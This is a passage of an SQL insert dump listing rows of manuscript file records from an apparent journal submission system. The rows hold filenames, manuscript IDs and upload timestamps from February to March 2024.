10:21:41',1,3,0),(39734,14478,'14478-36lb-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:21:41',1,3,0),(39735,14478,'14478-c4wd-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:21:43',1,3,0),(39736,14478,'14478-u64h-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:21:43',1,3,0),(39737,14477,'14477-g6a2-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:22:35',1,3,0),(39738,14477,'14477-w9lm-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:22:36',1,3,0),(39739,14477,'14477-oghl-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:22:38',1,3,0),(39740,14477,'14477-ylzs-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:22:38',1,3,0),(39741,14474,'14474-ah36-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:23:43',1,3,0),(39742,14474,'14474-p4d9-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:23:43',1,3,0),(39743,14473,'14473-4xh3-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:25:19',1,3,0),(39744,14473,'14473-soz0-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:25:19',1,3,0),(39745,14471,'14471-uhxr-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:26:28',1,3,0),(39746,14471,'14471-0on5-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:26:28',1,3,0),(39747,14468,'14468-7sn1-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:27:32',1,3,0),(39748,14468,'14468-4yj3-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:27:32',1,3,0),(39749,14467,'14467-yki5-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:28:39',1,3,0),(39750,14467,'14467-4d9m-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:28:39',1,3,0),(39751,14466,'14466-mnhc-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:29:39',1,3,0),(39752,14466,'14466-odbs-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:29:39',1,3,0),(39753,14465,'14465-0clz-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:30:49',1,3,0),(39754,14465,'14465-f0nt-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:30:49',1,3,0),(39755,14167,'14167-iroe-Manuscript-proof-submission-2024-02-06.docx',NULL,'2024-02-06 10:31:40',1,3,0),(39756,14167,'14167-x3ye-Manuscript-proof-submission-2024-02-06.pdf',NULL,'2024-02-06 10:31:40',1,3,0),(39757,14498,'14498-om1x-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 11:35:36',1,3,0),(39758,14498,'14498-aft5-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 11:35:36',1,3,0),(39759,14498,'14498-ke7a-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 11:35:42',1,3,0),(39760,14498,'14498-70gh-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 11:35:42',1,3,0),(39761,14463,'14463-8s6u-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 12:19:34',1,3,0),(39762,14463,'14463-2u6w-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 12:19:34',1,3,0),(39763,14462,'14462-54c3-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 12:30:25',1,3,0),(39764,14462,'14462-3obm-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 12:30:25',1,3,0),(39765,14461,'14461-k8re-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 13:38:12',1,3,0),(39766,14461,'14461-6vjb-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 13:38:12',1,3,0),(39767,14460,'14460-q58i-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 13:46:16',1,3,0),(39768,14460,'14460-keyg-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 13:46:16',1,3,0),(39769,14459,'14459-bdoq-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 13:57:20',1,3,0),(39770,14459,'14459-6tfh-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 13:57:20',1,3,0),(39771,14458,'14458-nojg-Manuscript-proof-submission-2024-02-07.docx',NULL,'2024-02-07 14:07:07',1,3,0),(39772,14458,'14458-tfsx-Manuscript-proof-submission-2024-02-07.pdf',NULL,'2024-02-07 14:07:07',1,3,0),(39773,14456,'14456-8sxq-Manuscript-proof-submission-2024-02-08.docx',NULL,'2024-02-08 11:57:50',1,3,0),(39774,14456,'14456-l5r0-Manuscript-proof-submission-2024-02-08.pdf',NULL,'2024-02-08 11:57:50',1,3,0),(39775,14232,'14232-yp25-Manuscript-proof-submission-2024-02-08.docx',NULL,'2024-02-08 12:11:41',1,3,0),(39776,14232,'14232-jfa9-Manuscript-proof-submission-2024-02-08.pdf',NULL,'2024-02-08 12:11:41',1,3,0),(39777,14231,'14231-mryh-Manuscript-proof-submission-2024-02-08.docx',NULL,'2024-02-08 12:36:37',1,3,0),(39778,14231,'14231-mqrb-Manuscript-proof-submission-2024-02-08.pdf',NULL,'2024-02-08 12:36:37',1,3,0),(39779,14559,'14559-0-Manuscript-2024-02-14.docx',NULL,'2024-02-14 10:32:40',1,1,0),(39780,14398,'14398-ef78-Manuscript-proof-submission-2024-02-14.docx',NULL,'2024-02-14 12:39:38',1,3,0),(39781,14398,'14398-ajtv-Manuscript-proof-submission-2024-02-14.pdf',NULL,'2024-02-14 12:39:38',1,3,0),(39792,14570,'14570-0-Manuscript-2024-02-15.docx',NULL,'2024-02-15 14:14:05',1,1,0),(39793,14571,'14569-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39794,14572,'14560-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39795,14572,'14572-s6l5-Manuscript-2024-02-15.docx',NULL,'2024-02-15 16:46:54',1,1,0),(39798,14574,'14561-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39799,14574,'14574-luxg-Manuscript-2024-02-15.docx',NULL,'2024-02-15 16:57:14',1,1,0),(39800,14575,'14568-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39801,14575,'14575-ckmu-Manuscript-2024-02-15.docx',NULL,'2024-02-15 17:00:25',1,1,0),(39802,14576,'14567-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39803,14576,'14576-yj52-Manuscript-2024-02-15.docx',NULL,'2024-02-15 17:02:11',1,1,0),(39804,14577,'14566-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39805,14577,'14577-1pm4-Manuscript-2024-02-15.docx',NULL,'2024-02-15 17:03:23',1,1,0),(39808,14579,'14564-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39809,14579,'14579-trs6-Manuscript-2024-02-15.docx',NULL,'2024-02-15 17:06:51',1,1,0),(39810,14580,'14562-0-Manuscript-2024-02-15.docx','','2024-02-15 00:00:00',1,1,0),(39811,14580,'14580-ebdq-Manuscript-2024-02-15.docx',NULL,'2024-02-15 17:08:06',1,1,0),(39812,14571,'14571-ncze-Manuscript-2024-02-15.docx',NULL,'2024-02-15 17:15:28',1,1,0),(39813,13889,'13889-Manuscript-2024-02-16-upk1.docx',NULL,'2024-02-16 15:49:08',1,3,0),(39814,13889,'13889-Manuscript-2024-02-16-lwm4.pdf',NULL,'2024-02-16 15:49:10',1,3,0),(39815,13828,'13828-Manuscript-2024-02-16-tvsw.docx',NULL,'2024-02-16 15:57:07',1,3,0),(39816,13828,'13828-Manuscript-2024-02-16-adnv.pdf',NULL,'2024-02-16 15:57:09',1,3,0),(39817,13860,'13860-Manuscript-2024-02-16-9fls.pdf',NULL,'2024-02-16 16:34:56',1,3,0),(39818,13860,'13860-Manuscript-2024-02-16-xtzk.docx',NULL,'2024-02-16 16:34:57',1,3,0),(39819,14354,'14354-qs8j-Manuscript-proof-submission-2024-02-20.docx',NULL,'2024-02-20 14:54:52',1,3,0),(39820,14354,'14354-fuy5-Manuscript-proof-submission-2024-02-20.pdf',NULL,'2024-02-20 14:54:52',1,3,0),(39821,14546,'14546-5x4b-Manuscript-proof-submission-2024-02-20.rar',NULL,'2024-02-20 18:24:02',1,3,0),(39822,14546,'14546-Manuscript-2024-02-22-cpkf-ipjnn-24-14546.rar',NULL,'2024-02-22 13:51:00',1,3,0),(39823,14546,'14546-Manuscript-2024-02-23-hwbg.pdf',NULL,'2024-02-23 12:14:33',1,3,0),(39824,14581,'14581-0-Manuscript-2024-02-24.docx',NULL,'2024-02-24 11:25:36',1,1,0),(39825,14582,'14582-0-Manuscript-2024-02-24.docx',NULL,'2024-02-24 11:27:05',1,1,0),(39826,14583,'14583-0-Manuscript-2024-02-24.docx',NULL,'2024-02-24 11:29:07',1,1,0),(39827,14584,'14584-0-Manuscript-2024-02-24.docx',NULL,'2024-02-24 11:31:03',1,1,0),(39828,14364,'14364-1au3-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:40:13',1,3,0),(39829,14362,'14362-73qg-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:40:51',1,3,0),(39830,14361,'14361-knta-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:00',1,3,0),(39831,14361,'14361-3yr2-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:03',1,3,0),(39832,14361,'14361-9xtw-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:06',1,3,0),(39833,14361,'14361-brpc-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:08',1,3,0),(39834,14361,'14361-wjq1-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:11',1,3,0),(39835,14361,'14361-sdh0-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:13',1,3,0),(39836,14361,'14361-8yd1-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:16',1,3,0),(39837,14361,'14361-k0w9-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:19',1,3,0),(39838,14361,'14361-i78j-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:21',1,3,0),(39839,14361,'14361-sv5h-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:23',1,3,0),(39840,14361,'14361-3l2m-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:42:26',1,3,0),(39841,14363,'14363-460k-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:43:19',1,3,0),(39842,14363,'14363-z0k8-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:43:21',1,3,0),(39843,14365,'14365-agmz-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:43:54',1,3,0),(39844,14365,'14365-3nl2-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:43:57',1,3,0),(39845,14365,'14365-tl10-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:43:59',1,3,0),(39846,14379,'14379-t6nr-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:44:32',1,3,0),(39847,14379,'14379-3vsu-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:44:34',1,3,0),(39848,14379,'14379-erid-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:44:36',1,3,0),(39849,14380,'14380-50ma-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:45:05',1,3,0),(39850,14380,'14380-upam-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:45:07',1,3,0),(39851,14380,'14380-fk1w-Manuscript-proof-submission-2024-02-24.pdf',NULL,'2024-02-24 11:45:10',1,3,0),(39852,14398,'14398-woeb-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 12:24:15',1,3,0),(39853,14398,'14398-rz5a-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 12:24:15',1,3,0),(39854,14331,'14331-yjnk-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:16:48',1,3,0),(39855,14331,'14331-0hyz-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:16:48',1,3,0),(39856,14331,'14331-6psf-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:16:52',1,3,0),(39857,14331,'14331-367p-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:16:52',1,3,0),(39858,14469,'14469-oca8-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:20:04',1,3,0),(39859,14469,'14469-qj21-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:20:04',1,3,0),(39860,14469,'14469-9grb-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:20:07',1,3,0),(39861,14469,'14469-fwds-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:20:07',1,3,0),(39862,14470,'14470-4wjp-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:25:35',1,3,0),(39863,14470,'14470-dq5i-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:25:35',1,3,0),(39864,14472,'14472-yhk6-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:26:33',1,3,0),(39865,14472,'14472-i840-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:26:33',1,3,0),(39866,14475,'14475-1f7a-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:27:23',1,3,0),(39867,14475,'14475-eafx-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:27:23',1,3,0),(39868,14476,'14476-dr13-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:32:52',1,3,0),(39869,14476,'14476-l0zc-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:32:52',1,3,0),(39870,14479,'14479-2ph6-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:33:36',1,3,0),(39871,14479,'14479-gp4q-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:33:36',1,3,0),(39872,14480,'14480-jubm-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:34:16',1,3,0),(39873,14480,'14480-9s3g-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:34:16',1,3,0),(39874,14481,'14481-if48-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:35:22',1,3,0),(39875,14481,'14481-k4lz-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:35:22',1,3,0),(39876,14482,'14482-e4md-Manuscript-proof-submission-2024-02-27.docx',NULL,'2024-02-27 14:46:10',1,3,0),(39877,14482,'14482-t3ed-Manuscript-proof-submission-2024-02-27.pdf',NULL,'2024-02-27 14:46:10',1,3,0),(39878,14362,'14362-Manuscript-2024-02-28-i7rx.pdf',NULL,'2024-02-28 09:06:02',1,3,0),(39879,14364,'14364-Manuscript-2024-02-28-jmiw.pdf',NULL,'2024-02-28 09:08:23',1,3,0),(39880,14361,'14361-Manuscript-2024-02-28-9o5c.pdf',NULL,'2024-02-28 09:09:59',1,3,0),(39881,14363,'14363-Manuscript-2024-02-28-g7ri.pdf',NULL,'2024-02-28 09:11:48',1,3,0),(39882,14365,'14365-Manuscript-2024-02-28-txud.pdf',NULL,'2024-02-28 09:13:16',1,3,0),(39883,14379,'14379-Manuscript-2024-02-28-sgxl.pdf',NULL,'2024-02-28 09:14:36',1,3,0),(39884,14380,'14380-Manuscript-2024-02-28-512g.pdf',NULL,'2024-02-28 09:15:59',1,3,0),(39885,14558,'14558-d87p-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 13:04:30',1,3,0),(39886,14558,'14558-aeln-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 13:04:30',1,3,0),(39887,14557,'14557-ez1p-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 13:12:01',1,3,0),(39888,14557,'14557-84p2-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 13:12:01',1,3,0),(39889,14556,'14556-v23j-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 13:56:52',1,3,0),(39890,14556,'14556-r5t2-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 13:56:52',1,3,0),(39891,14554,'14554-b1z6-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 14:07:55',1,3,0),(39892,14554,'14554-3d0n-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 14:07:55',1,3,0),(39893,14553,'14553-icy8-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 14:17:33',1,3,0),(39894,14553,'14553-n4ry-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 14:17:33',1,3,0),(39895,14552,'14552-oe8x-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 14:26:56',1,3,0),(39896,14552,'14552-uy9j-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 14:26:56',1,3,0),(39897,14551,'14551-65j9-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 14:36:48',1,3,0),(39898,14551,'14551-4ejv-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 14:36:48',1,3,0),(39899,14550,'14550-2pku-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 14:45:27',1,3,0),(39900,14550,'14550-eubd-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 14:45:27',1,3,0),(39901,14549,'14549-4f5a-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 14:54:49',1,3,0),(39902,14549,'14549-o8vk-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 14:54:49',1,3,0),(39903,14548,'14548-zhe9-Manuscript-proof-submission-2024-02-28.docx',NULL,'2024-02-28 15:00:20',1,3,0),(39904,14548,'14548-tgb8-Manuscript-proof-submission-2024-02-28.pdf',NULL,'2024-02-28 15:00:20',1,3,0),(39905,14585,'14585-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 16:58:46',1,1,0),(39906,14586,'14586-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 17:02:32',1,1,0),(39907,14587,'14587-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 17:08:17',1,1,0),(39908,14588,'14588-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 17:12:10',1,1,0),(39909,14589,'14589-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 17:18:01',1,1,0),(39910,14590,'14590-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 17:43:04',1,1,0),(39911,14591,'14591-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 18:13:32',1,1,0),(39912,14592,'14592-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 18:18:40',1,1,0),(39913,14593,'14593-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 18:23:27',1,1,0),(39914,14594,'14594-0-Manuscript-2024-02-29.docx',NULL,'2024-02-29 18:27:38',1,1,0),(39915,14595,'14595-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 11:14:15',1,1,0),(39917,14597,'14597-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 11:22:10',1,1,0),(39919,14599,'14599-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 11:31:00',1,1,0),(39920,14600,'14600-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 11:33:08',1,1,0),(39922,14602,'14602-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 16:42:49',1,1,0),(39923,14603,'14603-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 16:43:53',1,1,0),(39924,14604,'14604-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 16:44:54',1,1,0),(39925,14605,'14605-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 16:46:06',1,1,0),(39929,14609,'14609-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 17:05:40',1,1,0),(39930,14610,'14610-0-Manuscript-2024-03-01.docx',NULL,'2024-03-01 17:06:42',1,1,0),(39931,14611,'14611-0-Manuscript-2024-03-04.docx',NULL,'2024-03-04 12:55:09',1,1,0),(39932,14612,'14612-0-Manuscript-2024-03-04.docx',NULL,'2024-03-04 13:04:13',1,1,0),(39933,14613,'14613-0-Manuscript-2024-03-04.docx',NULL,'2024-03-04 13:05:28',1,1,0),(39934,14584,'14584-Manuscript-2024-03-04-y7bk.docx',NULL,'2024-03-04 13:39:12',1,1,0),(39935,14583,'14583-Manuscript-2024-03-04-w0yz.docx',NULL,'2024-03-04 13:39:37',1,1,0),(39936,14582,'14582-Manuscript-2024-03-04-g7a2.docx',NULL,'2024-03-04 13:40:04',1,1,0),(39937,14581,'14581-Manuscript-2024-03-04-wqyz.docx',NULL,'2024-03-04 13:40:29',1,1,0),(39938,14614,'14614-0-Manuscript-2024-03-04.docx',NULL,'2024-03-04 15:59:34',1,1,0),(39939,14529,'14529-vm9x-Manuscript-proof-submission-2024-03-04.rar',NULL,'2024-03-04 16:57:03',1,3,0),(39940,14590,'14590-c54m-Manuscript-2024-03-04.docx',NULL,'2024-03-04 16:58:06',1,1,0),(39941,14529,'14529-Manuscript-2024-03-04-m09i.pdf',NULL,'2024-03-04 16:58:35',1,3,0),(39942,14615,'14615-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:22:59',1,1,0),(39943,14616,'14616-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:24:36',1,1,0),(39944,14617,'14617-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:25:28',1,1,0),(39945,14618,'14618-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:25:55',1,1,0),(39946,14619,'14619-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:33:32',1,1,0),(39947,14620,'14620-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:34:59',1,1,0),(39948,14621,'14621-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:43:47',1,1,0),(39949,14622,'14622-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:51:50',1,1,0),(39950,14623,'14623-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:53:28',1,1,0),(39951,14624,'14624-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:55:15',1,1,0),(39952,14625,'14625-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:57:47',1,1,0),(39953,14626,'14626-0-Manuscript-2024-03-05.docx',NULL,'2024-03-05 11:59:21',1,1,0),(39954,14627,'14627-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 11:56:57',1,1,0),(39955,14628,'14628-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 12:00:21',1,1,0),(39956,14629,'14629-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 12:07:01',1,1,0),(39957,14630,'14630-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 12:09:02',1,1,0),(39958,14631,'14631-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 12:13:01',1,1,0),(39959,14632,'14632-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 12:15:28',1,1,0),(39960,14633,'14633-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 12:26:25',1,1,0),(39961,14634,'14634-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:11:36',1,1,0),(39962,14635,'14635-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:27:49',1,1,0),(39963,14636,'14636-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:30:38',1,1,0),(39964,14637,'14637-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:33:41',1,1,0),(39965,14638,'14638-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:35:47',1,1,0),(39966,14639,'14639-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:38:26',1,1,0),(39967,14640,'14640-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:42:50',1,1,0),(39968,14641,'14641-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:46:15',1,1,0),(39969,14642,'14642-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:52:49',1,1,0),(39970,14643,'14643-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:55:04',1,1,0),(39971,14644,'14644-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 13:57:55',1,1,0),(39972,14645,'14645-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:40:45',1,1,0),(39973,14646,'14646-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:43:35',1,1,0),(39974,14647,'14647-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:45:59',1,1,0),(39975,14648,'14648-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:48:58',1,1,0),(39976,14649,'14649-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:52:12',1,1,0),(39977,14650,'14650-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:53:30',1,1,0),(39978,14651,'14651-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:55:56',1,1,0),(39979,14652,'14652-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:57:50',1,1,0),(39980,14653,'14653-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 16:59:43',1,1,0),(39981,14654,'14654-0-Manuscript-2024-03-06.docx',NULL,'2024-03-06 17:02:24',1,1,0),(39982,14655,'14655-0-Manuscript-2024-03-07.docx',NULL,'2024-03-07 18:37:00',1,1,0),(39983,14656,'14656-0-Manuscript-2024-03-08.docx',NULL,'2024-03-08 10:33:51',1,1,0),(39984,14657,'14657-0-Manuscript-2024-03-13.docx',NULL,'2024-03-13 10:14:47',1,1,0),(39985,14337,'14337-ksez-Manuscript-proof-submission-2024-03-13.doc',NULL,'2024-03-13 13:18:14',1,3,0),(39986,14658,'14658-0-Manuscript-2024-03-13.doc',NULL,'2024-03-13 13:27:30',1,1,0),(39987,14659,'14659-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 13:38:58',1,1,0),(39988,14660,'14660-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 13:40:15',1,1,0),(39989,14661,'14661-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 13:41:40',1,1,0),(39990,14662,'14662-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 13:49:42',1,1,0),(39991,14663,'14663-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 13:50:58',1,1,0),(39992,14664,'14664-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 14:02:04',1,1,0),(39993,14665,'14665-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 14:03:32',1,1,0),(39994,14666,'14666-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 14:09:42',1,1,0),(39995,14667,'14667-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 14:11:18',1,1,0),(39996,14668,'14668-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 14:14:05',1,1,0),(39997,14540,'14540-bjv5-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:00:07',1,3,0),(39998,14541,'14541-9fth-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:01:13',1,3,0),(39999,14542,'14542-m863-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:02:41',1,3,0),(40000,14543,'14543-m18u-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:03:30',1,3,0),(40001,14544,'14544-9ob4-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:04:27',1,3,0),(40002,14581,'14581-syxg-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:05:29',1,3,0),(40003,14582,'14582-fbqy-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:06:21',1,3,0),(40004,14582,'14582-fzc4-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:06:24',1,3,0),(40005,14583,'14583-pf0k-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:07:16',1,3,0),(40006,14555,'14555-vfke-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:09:14',1,3,0),(40007,14555,'14555-c6i8-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:09:19',1,3,0),(40008,14545,'14545-48ij-Manuscript-proof-submission-2024-03-14.rar',NULL,'2024-03-14 15:10:26',1,3,0),(40009,14669,'14669-0-Manuscript-2024-03-14.docx',NULL,'2024-03-14 16:56:36',1,1,0),(40010,14670,'14670-0-Manuscript-2024-03-15.docx',NULL,'2024-03-15 22:43:44',1,1,0),(40011,14671,'14671-0-Manuscript-2024-03-17.docx',NULL,'2024-03-17 